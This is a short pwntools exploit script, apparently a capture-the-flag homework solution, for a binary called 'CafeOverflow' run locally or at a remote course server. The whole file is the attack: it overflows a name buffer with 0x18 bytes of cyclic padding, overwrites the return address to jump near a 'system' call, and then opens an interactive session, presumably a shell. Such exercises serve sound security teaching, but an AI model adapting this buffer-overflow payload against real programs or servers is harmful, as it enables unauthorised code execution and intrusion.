#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

if args.REMOTE:
    p = remote('hw00.zoolab.org', '65534')
else:
    p = process("./CafeOverflow")

# pause()

system = 0x4011a8
ret = 0x401271

payload  = flat(
    cyclic(0x18),
    system - 7
)

p.sendlineafter("What is your name :", payload)

p.interactive()
p.close()
